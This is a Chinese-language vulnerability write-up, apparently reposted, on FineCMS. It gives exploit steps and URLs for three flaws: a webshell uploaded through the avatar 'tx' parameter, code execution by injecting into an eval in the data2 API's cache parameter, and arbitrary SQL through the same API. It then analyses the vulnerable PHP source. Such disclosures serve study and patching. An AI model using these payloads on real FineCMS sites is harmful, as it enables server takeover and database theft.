原文地址:http://p0sec.net/index.php/archives/109/
作者:p0
0x1 Payload
0x11 任意文件上传
注册个用户,修改头像,选择一张图片马:
抓包,修改post中tx参数中的jpg为php:
getshell:
目录中的1位用户id,稍微爆破一下即可。
(PS:可以在cookie中可以看到uid)
0x12 任意代码执行
index.php?c=api&m=data2&auth=e174c30q733kceb0r4kkh5m8u3p1jnh6¶m=action=cache%20name=MEMBER.1'];phpinfo();$a=['1
其中auth为:
24b16fede9a67c9251d3e7c7161c83ac
的md5值
0x13 任意SQL语句执行
index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql%20sql='select%20user();'
auth值同上
0x2 代码分析
0x21 任意文件上传
/finecms/dayrui/controllers/member/Account.php 177~244
/**
* 上传头像处理
* 传入头像压缩包,解压到指定文件夹后删除非图片文件
*/ public function upload() { // 创建图片存储文件夹 $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/'; @dr_dir_delete($dir); !is_dir($dir) && dr_mkdirs($dir); if ($_POST['tx']) { $file = str_replace(' ', '+', $_POST['tx']); if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){ $new_file = $dir.'0x0.'.$result[2]; if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) { exit(dr_json(0, '目录权限不足或磁盘已满')); } else { $this->load->library('image_lib'); $config['create_thumb'] = TRUE; $config['thumb_marker'] = ''; $config['maintain_ratio'] = FALSE; $config['source_image'] = $new_file; foreach (array(30, 45, 90, 180) as $a) { $config['width'] = $config['height'] = $a; $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2]; $this->image_lib->initialize($config); if (!$this->image_lib->resize()) { exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors())); break; } } list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]); !$type && exit(dr_json(0, '图片字符串不规范')); } } else { exit(dr_json(0, '图片字符串不规范')); } } else { exit(dr_json(0, '图片不存在')); } // 上传图片到服务器 if (defined('UCSSO_API')) { $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg')); !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg'])); } exit('1'); }
不用多解释了,直接任意文件上传。。
0x22 任意代码执行&&任意SQL语句执行
先说一下auth:
config.php
$config['sess_cookie_name'] = $site['SYS_KEY'].'_ci_session';
/finecms/dayrui/controllers/Api.php
直接可以在cookie中获取。
问题其实都出在了data2()
这一个函数
/finecms/dayrui/controllers/Api.php
/**
* 自定义数据调用(新版本)
*/ public function data2() { $data = array(); // 安全码认证 $auth = $this->input->get('auth', true); if ($auth != md5(SYS_KEY)) { // 授权认证码不正确 $data = array('msg' => '授权认证码不正确', 'code' => 0); } else { // 解析数据 $cache = ''; $param = $this->input->get('param'); if (isset($param['cache']) && $param['cache']) { $cache = md5(dr_array2string($param)); $data = $this->get_cache_data($cache); } if (!$data) { // list数据查询 $data = $this->template->list_tag($param); $data['code'] = $data['error'] ? 0 : 1; unset($data['sql'], $data['pages']); // 缓存数据 $cache && $this->set_cache_data($cache, $data, $param['cache']); } } // 接收参数 $format = $this->input->get('format'); $function = $this->input->get('function'); if ($function) { if (!function_exists($function)) { $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0); } else { $data = $function($data); } } // 页面输出 if ($format == 'php') { print_r($data); } elseif ($format == 'jsonp') { // 自定义返回名称 echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')'; } else { // 自定义返回名称 echo $this->callback_json($data); } exit; }
为什么说出在了这一个函数,因为通过这个函数可以调用到其他敏感函数,本来系统封装的函数不是给用户使用的。
可以看到,传入的参数直接进了$data = $this->template->list_tag($param);
,这个函数里有什么,来截一部分:
/finecms/dayrui/libraries/Template.php
switch ($system['action']) { case 'cache': // 系统缓存数据 if (!isset($param['name'])) { return $this->_return($system['return'], 'name参数不存在'); } $pos = strpos($param['name'], '.'); if ($pos !== FALSE) { $_name = substr($param['name'], 0, $pos); $_param = substr($param['name'], $pos + 1); } else { $_name = $param['name']; $_param = NULL; } $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']); if (!$cache) { return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存"); } if ($_param) { $data = array(); @eval('$data=$cache'.$this->_get_var($_param).';'); if (!$data) { return $this->_return($system['return'], "缓存({$_name})参数不存在!!"); } } else { $data = $cache; } return $this->_return($system['return'], $data, ''); break; ... case 'sql': // 直接sql查询 if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) { // 数据源的选择 $db = $this->ci->db; // 替换前缀 $sql = str_replace( array('@#S', '@#'), array($db->dbprefix.$system['site'], $db->dbprefix), trim(urldecode($sql[1])) ); if (stripos($sql, 'SELECT') !== 0) { return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句'); } $total = 0; $pages = ''; // 如存在分页条件才进行分页查询 if ($system['page'] && $system['urlrule']) { $page = max(1, (int)$_GET['page']); $row = $this->_query(preg_replace('/select \* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE); $total = (int)$row['c']; $pagesize = $system['pagesize'] ? $system['pagesize'] : 10; // 没有数据时返回空 if (!$total) { return $this->_return($system['return'], '没有查询到内容', $sql, 0); } $sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize; $pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total); } $data = $this->_query($sql, $system['site'], $system['cache']); $fields = NULL; if ($system['module']) { $fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段 } if ($fields) { // 缓存查询结果 $name = 'list-action-sql-'.md5($sql); $cache = $this->ci->get_cache_data($name); if (!$cache && is_array($data)) { // 模型表的系统字段 $fields['inputtime'] = array('fieldtype' => 'Date'); $fields['updatetime'] = array('fieldtype' => 'Date'); // 格式化显示自定义字段内容 foreach ($data as $i => $t) { $data[$i] = $this->ci->field_format_value($fields, $t, 1); } //$cache = $this->ci->set_cache_data($name, $data, $system['cache']); $cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data; } $data = $cache; } return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize); } else { return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容 } break; ... }
任意SQL语句执行到这里就不用说了。
再说一下代码执行的构造
只需使$cache
有返回值就可以执行eval()了了,看一下_cache_var()
函数:
public function _cache_var($name, $site = SITE_ID) { $data = NULL; $name = strtoupper($name); switch ($name) { case 'MEMBER': $data = $this->ci->get_cache('member'); break; case 'URLRULE': $data = $this->ci->get_cache('urlrule'); break; case 'MODULE': $data = $this->ci->get_cache('module'); break; case 'CATEGORY': $site = $site ? $site : SITE_ID; $data = $this->ci->get_cache('category-'.$site); break; default: $data = $this->ci->get_cache($name.'-'.$site); break; } return $data; }
只需name等于其中的几个值就可以,接下来就是根据_get_var()
函数构造payload了:
public function _get_var($param) { $array = explode('.', $param); if (!$array) { return ''; } $string = ''; foreach ($array as $var) { $string.= '['; if (strpos($var, '$') === 0) { $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var); } elseif (preg_match('/[A-Z_]+/', $var)) { $string.= ''.$var.''; } else { $string.= '\''.$var.'\''; } $string.= ']'; } return $string; }
就两个正则,稍微构造下就OK了
0x3 其他
另外这个地方,利用任意SQL语句返回$data
也能造成代码执行,不分析了。
本文作者为Mr.Bai,转载请注明。